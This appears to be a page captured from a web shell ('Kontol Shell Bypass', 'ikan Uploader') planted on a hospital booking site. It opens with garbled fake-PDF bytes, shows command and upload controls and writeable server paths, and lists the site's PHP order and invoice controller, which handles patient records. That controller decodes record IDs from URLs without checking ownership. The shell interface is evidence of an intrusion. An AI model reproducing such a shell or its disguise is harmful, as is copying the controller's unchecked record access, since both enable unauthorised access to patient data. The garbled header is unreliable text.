%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/drbooking/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/drbooking/application/controllers/Order.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
Class Order extends CI_Controller {
	function __construct(){
		parent::__construct();
		$this->load->model(array('Home_Model'));
		$userData = $this->session->userdata('user_data');
		if($userData->id==''){
			redirect('home');
		}
	}
	
	/*   
	* function: index
	* display by default active order tab 
	*/
    public function index()
    {
		$data = array();
		$head = array();
		$record_num = end($this->uri->segment_array());
		$order_id = base64_decode($record_num);
		$userData = $this->session->userdata('user_data');
		$data['userInfo'] = $userData;
		if($order_id==''){
			redirect('dashboard');
		}
		// Get UserDetails
		$data['orderData'] = $resp = $this->Home_Model->getSingleRecord('tbl_order_master', '*', array('order_id'=>$order_id,'status'=>'3'));
		
		if($resp['booking_confirmation_id']==''){
			redirect('dashboard');
		}
		
		// Get User and other details
		$data['userData'] = $this->Home_Model->getAllbookingRecords($resp['booking_confirmation_id']);
		
        // Get Test List
		$data['testData'] = $this->Home_Model->getSingleRecord('tbl_test_master', '*', array('id'=>$resp['test_id'],'status'=>'1'));
		$data['slotData'] = $this->Home_Model->getSingleRecord('tbl_slot_master', '*', array('id'=>$resp['slot_id'],'status'=>'1'));
		
		$header['title'] = 'My Order - COVID19 Test';
		$this->load->view('_parts/header', $header);
		$this->load->view('order_details',$data);
		$this->load->view('_parts/footer');
		
	}
	/*
	* function: index
	* display by default active order tab 
	*/
    public function viewdetails()
    {
		$data = array();
		$head = array();
		
		$record_num = end($this->uri->segment_array());
		$order_id = base64_decode($record_num);
		$userData = $this->session->userdata('user_data');
		$data['userInfo'] = $userData;
		if($order_id==''){
			redirect('dashboard');
		}
		
		$data['bookingDetails'] = $bookingDetails = $this->Home_Model->getSingleRecord('tbl_booking_confirmation', '*', array('order_id'=>$order_id));
		$data['user_id'] = $user_id;
		
		// Get UserDetails
		$data['orderData'] = $resp = $this->Home_Model->getSingleRecord('tbl_order_master', '*', array('order_id'=>$order_id));
				
		// Get User and other details
		$userData = $this->Home_Model->getAllbookingRecords($resp['booking_confirmation_id']);
		$data['userData'] = $userData;
        // Get Test List
		$data['testData'] = $this->Home_Model->getSingleRecord('tbl_test_master', '*', array('id'=>$resp['test_id'],'status'=>'1'));
		$data['slotData'] = $this->Home_Model->getSingleRecord('tbl_slot_master', '*', array('id'=>$resp['slot_id'],'status'=>'1'));
		$header['title'] = 'Booking Details - COVID19 Test';
		$this->load->view('_parts/header', $header);
		$this->load->view('viewdetails',$data);
		$this->load->view('_parts/footer');
		
	}
	/*
	* function: index
	* display by default active order tab 
	*/
    public function details()
    {
		$data = array();
		$head = array();
		
		$record_num = end($this->uri->segment_array());
		$user_id = base64_decode($record_num);
		$userData = $this->session->userdata('user_data');
		$data['userInfo'] = $userData;
		if($user_id==''){
			redirect('dashboard');
		}
				
		$bookingDetails = $this->Home_Model->getSingleRecord('tbl_booking_confirmation', '*', array('user_id'=>$user_id));
		$data['user_id'] = $user_id;
		$order_id = $bookingDetails['order_id'];
		
		// Get UserDetails
		$data['orderData'] = $resp = $this->Home_Model->getSingleRecord('tbl_order_master', '*', array('user_id'=>$user_id,'status'=>'1'));
		
		if($resp){
			redirect('dashboard');
		}
		
		// Get User and other details
		$data['userData'] = $this->Home_Model->getAllbookingRecords(NULL, array('tbl_booking_confirmation.user_id'=>$user_id));
		
        // Get Test List
		$data['testData'] = $this->Home_Model->getSingleRecord('tbl_test_master', '*', array('id'=>$resp['test_id'],'status'=>'1'));
		$data['slotData'] = $this->Home_Model->getSingleRecord('tbl_slot_master', '*', array('id'=>$resp['slot_id'],'status'=>'1'));
		
		$header['title'] = 'My Booking List - COVID19 Test';
		$this->load->view('_parts/header', $header);
		$this->load->view('list_orderdetails',$data);
		$this->load->view('_parts/footer');
		
	}
	
	/*
	* Function : invoice
	*
	*/
	public function invoice()
	{
		$data = array();
		$this->load->library('pdf');
		$campus_logo = encode_img_base64(FCPATH.'assests/imgs/logo_new.png');
		$record_num = end($this->uri->segment_array());
		$order_no = base64_decode($record_num);
		$file_name = 'invoice-'.$order_no.'.pdf';
		$html = $this->invoicetemplate($order_no,$campus_logo);
		$this->pdf->set_option('isRemoteEnabled', true);
		$this->pdf->createPDF($html, $file_name, true);

		die;
	}
	
	/*
	* Function : invoicetemplate
	*
	*/
	function invoicetemplate($order_no,$campus_logo){
		$orderDetails = $this->Home_Model->getSingleRecord('tbl_booking_confirmation', '*', array('id'=>$order_no));
		$userData = $this->session->userdata('user_data');
		$drDetails = getDoctorDetails(array('dr_id'=>$orderDetails['dr_id'])); 
		$titleArray = getCommonArray('tbl_title_master','*', array('id'=>$orderDetails['title_id']));
		$titleList = $titleArray[0];
						
		$template = '';
		$template .= '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
		<html xmlns="http://www.w3.org/1999/xhtml">
		<head>
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
		<title>Untitled Document</title>
		</head>

		<body>
		<table style="width:100%; margin:0px auto; border:1px solid #dadada;">
			<tr>
				<td><img style="margin:0px auto;" src="" /></td>
			</tr>
			<tr>
				<td>
					<p style="padding:10px; color:#000; text-align:center; font-size:16px; font-family:Verdana, Geneva, sans-serif; margin:0;">Plot 32-34 Knowledge Park-3, 201306, HelpLine Number- 01202333999 /9803742732</p>
				</td>
			</tr>
			<tr>
				<td>
					<p style="background:#ffa500; padding:10px; font-size:22px; text-align:center; color:#fff; border-top:2px solid #000;font-family:Verdana, Geneva, sans-serif; margin:0;">Online Bill Invoice</p>
				</td>
			</tr>
			<tr>
			
				<td>
					<table style="border-bottom:2px solid #000; width:100%;" >
						<tr>
							<td><p style="font-family:Verdana, Geneva, sans-serif; font-size:14px; margin:0; padding:5px;">Bill No </p></td>
							<td><p style="font-family:Verdana, Geneva, sans-serif; font-size:14px; margin:0; padding:5px;">: '.$orderDetails["order_id"].'</p></td>
							<td><p style="font-family:Verdana, Geneva, sans-serif; font-size:14px; margin:0; padding:5px;">Bill Date Time</p></td>
							<td><p style="font-family:Verdana, Geneva, sans-serif; font-size:14px; margin:0; padding:5px;">: '.$orderDetails["order_date"].'</p></td>
						</tr>
						<tr>
							<td><p style="font-family:Verdana, Geneva, sans-serif; font-size:14px; margin:0; padding:5px;">Appointment No.</p></td>
							<td><p style="font-family:Verdana, Geneva, sans-serif; font-size:14px; margin:0; padding:5px;">: '.$orderDetails["appointment_id"].'</p></td>
							<td><p style="font-family:Verdana, Geneva, sans-serif; font-size:14px; margin:0; padding:5px;">Payer</p></td>
							<td><p style="font-family:Verdana, Geneva, sans-serif; font-size:14px; margin:0; padding:5px;">: GENERAL</p></td>
						</tr>
				
						<tr>
							<td><p style="font-family:Verdana, Geneva, sans-serif; font-size:14px; margin:0; padding:5px;">Patient Name</p></td>
							<td><p style="font-family:Verdana, Geneva, sans-serif; font-size:14px; margin:0; padding:5px;">: '.$titleList['name'].' '.$orderDetails["full_name"].'</p></td>
							<td><p style="font-family:Verdana, Geneva, sans-serif; font-size:14px; margin:0; padding:5px;">Presc. Doctor</p></td>
							<td><p style="font-family:Verdana, Geneva, sans-serif; font-size:14px; margin:0; padding:5px;">: '.$drDetails['fullname'].'</p></td>
						</tr>
						<tr>
							<td><p style="font-family:Verdana, Geneva, sans-serif; font-size:14px; margin:0; padding:5px;">Gender/Age </p></td>
							<td><p style="font-family:Verdana, Geneva, sans-serif; font-size:14px; margin:0; padding:5px;">: '.$titleList['gender_name'].'/'.$orderDetails["age"].' Yr</p></td>
							<td><p style="font-family:Verdana, Geneva, sans-serif; font-size:14px; margin:0; padding:5px;">Refered By </p></td>
							<td><p style="font-family:Verdana, Geneva, sans-serif; font-size:14px; margin:0; padding:5px;">: '.$drDetails["specialisationname"].'</p></td>
						</tr>
						<tr>
							<td><p style="font-family:Verdana, Geneva, sans-serif; font-size:14px; margin:0; padding:5px;"> Contact No</p></td>
							<td><p style="font-family:Verdana, Geneva, sans-serif; font-size:14px; margin:0; padding:5px;">: '.$orderDetails["mobile_number"].' </p></td>
							<td><p style="font-family:Verdana, Geneva, sans-serif; font-size:14px; margin:0; padding:5px;">Address</p></td>
							<td><p style="font-family:Verdana, Geneva, sans-serif; font-size:14px; margin:0; padding:5px;">: '.$orderDetails["address"].'</p></td>
						
						</tr>
					</table>
				</td>
			</tr>
			<tr>
				<td>
					<table cellpadding="5" cellspacing="0" border="0">
						<tr>
							<td width="5%" style="border-bottom:1px solid #000; border-top:1px solid #000; font-size:14px; font-weight:bold; font-family:Verdana, Geneva, sans-serif; padding:10px 0;">Sr. No. </td>
							<td width="20%" style="border-bottom:1px solid #000; border-top:1px solid #000; font-size:14px; font-weight:bold; font-family:Verdana, Geneva, sans-serif; padding:10px 0;">Order ID</td>
							<td width="70%" style="border-bottom:1px solid #000; border-top:1px solid #000; font-size:14px; font-weight:bold; font-family:Verdana, Geneva, sans-serif; padding:10px 0;">Title</td>
							<td style="border-bottom:1px solid #000; border-top:1px solid #000; font-size:14px; font-weight:bold; font-family:Verdana, Geneva, sans-serif; padding:10px 0;" width="5%">Payer Amt</td> 
						</tr>
						<tr>
							<td>1. </td>
							<td>'.$orderDetails["order_id"].'</td>
							<td>Doctor Appointment</td>
							<td>'.$orderDetails["amount"].'</td>
						</tr>
						
					</table>
				</td>
			</tr>
			<tr>
				<td>
					<table style="width:100%; padding:20px 30px 0 0; margin:20px 0 0 0; border-top:2px solid #000;">
						<tr>
							<td width="50%"></td>
							<td width="50%">
								<p style="font-size:16px; border-top:2px solid #000; padding:8px 0;font-family:Verdana, Geneva, sans-serif; margin:0;">Gross Amount <strong style="float:right; ">'.$orderDetails["amount"].'</strong></p> 
								<p style="font-size:18px; border-bottom:2px solid #000; border-top:2px solid #000; padding:8px 0;font-family:Verdana, Geneva, sans-serif;margin:0;">Amt Received (INR) <strong style="float:right; ">'.$orderDetails["amount"].'</strong></p> 
							</td>
						</tr>
					
						
							
					</table>
				</td>
			</tr>
			<tr>
				<td>
					<table style="width:100%; border-top:2px solid #000; padding:15px 0; margin:20px 0 0 0;">
						<tr>
							<td> <p style="font-size:14px; font-weight:bold; font-family:Verdana, Geneva, sans-serif;margin:0;">Printed By: </p></td>
							<td> <p style="font-size:14px; font-weight:normal; font-family:Verdana, Geneva, sans-serif;margin:0;">'.$orderDetails["full_name"].'</p></td>
							<td> <p style="font-size:14px; font-weight:bold; font-family:Verdana, Geneva, sans-serif;margin:0;">Prepared By: </p></td>
							<td> <p style="font-size:14px; font-weight:normal; font-family:Verdana, Geneva, sans-serif;margin:0;">Online Mode </p></td>
							<td> <p style="font-size:14px; font-weight:bold; font-family:Verdana, Geneva, sans-serif;margin:0;">Printed Date:</p></td>
							<td> <p style="font-size:14px; font-weight:normal; font-family:Verdana, Geneva, sans-serif;margin:0;">'.$orderDetails["order_date"].'</p></td>
							<td> <p style="font-size:14px; font-weight:bold; font-family:Verdana, Geneva, sans-serif;margin:0;">(1/1)</td>
						</tr>
					</table>
				</td>
			</tr>
			
			
		</table>
		</body>
		</html>';
		return $template;
	}
	
 }

Kontol Shell Bypass